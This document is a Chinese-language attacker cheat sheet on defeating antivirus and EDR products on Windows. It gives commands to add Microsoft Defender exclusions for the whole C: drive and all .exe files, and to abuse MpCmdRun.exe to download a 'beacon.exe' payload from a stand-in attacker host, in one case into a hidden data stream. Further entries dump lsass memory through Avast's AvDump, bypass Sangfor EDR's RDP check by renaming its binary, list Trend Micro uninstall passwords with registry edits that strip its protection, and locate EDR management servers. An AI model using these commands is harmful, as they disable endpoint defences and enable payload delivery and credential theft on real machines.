Antivirus(杀毒程序)

5.1 卡巴斯基管理中心

for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq AVP" /NH') do netstat -ano | findstr %i

5.2 Defender

0. 查找杀软进程

tasklist /svc | findstr MsMpEng

1. Defender添加白名单文件夹

WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="c:\ProgramData"

powershell Add-MpPreference -ExclusionPath C:\

2. Defender添加白名单进程

WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionProcess="chrome.exe"

3. Defender添加白名单文件类型

WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionExtension=".exe"

4. Defender查询白名单列表

C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get * /format:list | findstr /i "DisableRealtimeMonitoring ExclusionPath ExclusionProcess MAPSReporting SubmitSamplesConsent"
DisableRealtimeMonitoring=FALSE

powershell "Get-MpPreference | select ExclusionPath"

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

5. MpCmdRun.exe

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe

5.3 AvDump

1. 路径

C:\Program Files\Avast Software\Avast\AvDump.exe

AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

5.4 SangforEDR

1. 深信服EDR RDP登录绕过

远程登录保护认证功能是由sfrdpverify进程实现
C:\Program Files\Sangfor\EDR\agent\bin\sfrdpverify.exe
绕过方法
对sfrdpverify.exe文件进行删除或改名
C:\Program Files\Sangfor\EDR\agent\bin\sfrdpverify.exe.bak

5.5 亚信安全

趋势(亚信)卸载密码:

P@ssw0rd
trand1234

1：如果你是为了卸载，那么修改注册表：

32位系统：

将 HKEY_LOCAL_MACHINE/SOFTWARE/TrendMicro/pcCillinNTCorp/CurrentVersion/Misc中的 Allow Unistall 的键属值改为1即可。

64位系统：

将 HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/TrendMicro/PC-illinNTcorp/CurrentVersion/Misc/Allow Uninstall 的键属值改为1即可。

2：如果你不是为了卸载，只是希望在使用过程中可以退出该软件，那么，修改注册表：

32位系统：

将 HKEY_LOCAL_MACHINE/SOFTWARE/TrendMicro/PC-cillinNTCorp/CurrentVersion/Misc/NoPwdProtect 键值由0 改为1即可。

64位系统：

将HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/TrendMicro/PCillinNTcorp/CurrentVersion/Misc/NoPwdProtect 键值由0 改为1即可。

注意：找到路径对应的文件夹之后，单击文件夹Misc，就会出现右边的属性，然后找到相应的属性，双击就可以修改对应的值了。切记只有安全模式下，才能修改注册表。

修改完成，重复第二步操作，电脑上同时按住win+R键，然后输入misconfig，然后按回车键，在弹出的系统配置的窗口中，选择引导，然后取消勾选安全引导，最后重启电脑就可以回到正常模式。

重启完成之后，可以右键直接退出软件，也可以去控制面板，程序和功能，双击直接卸载。

5.6 安恒EDR

安恒EDR查找控制端

for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq AgentService" /NH') do netstat -ano | findstr %i

安恒EDR查找控制端路径

C:\Program Files (x86)\DBAppSecurity\EDR\runlog\

C:\Program Files (x86)\DBAppSecurity\EDR\runlog\AgentService.exe.rpc.log
C:\Program Files (x86)\DBAppSecurity\EDR\runlog\bind.exe.rpc.log
C:\Program Files (x86)\DBAppSecurity\EDR\runlog\runlog.log
C:\Program Files (x86)\DBAppSecurity\EDR\runlog\wsapi.exe.rpc.log

5.7 Skylar

1. 天擎管理中心

使用杀软功能比如更新功能在看进程就可以看到通信地址

下面也是天擎管理中心地址
C:\ProgramData\360Skylar6\ 日志目录

C:\ProgramData\360Skylar6\zhudongfangyuApp.dll.log
C:\ProgramData\360Skylar6\360EntClientAir.exe.log
C:\ProgramData\360Skylar6\SafeLiveEx.dll.log

5.8 HipsTray

火绒EDR查找控制端

for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq HRClient" /NH') do netstat -ano | findstr %i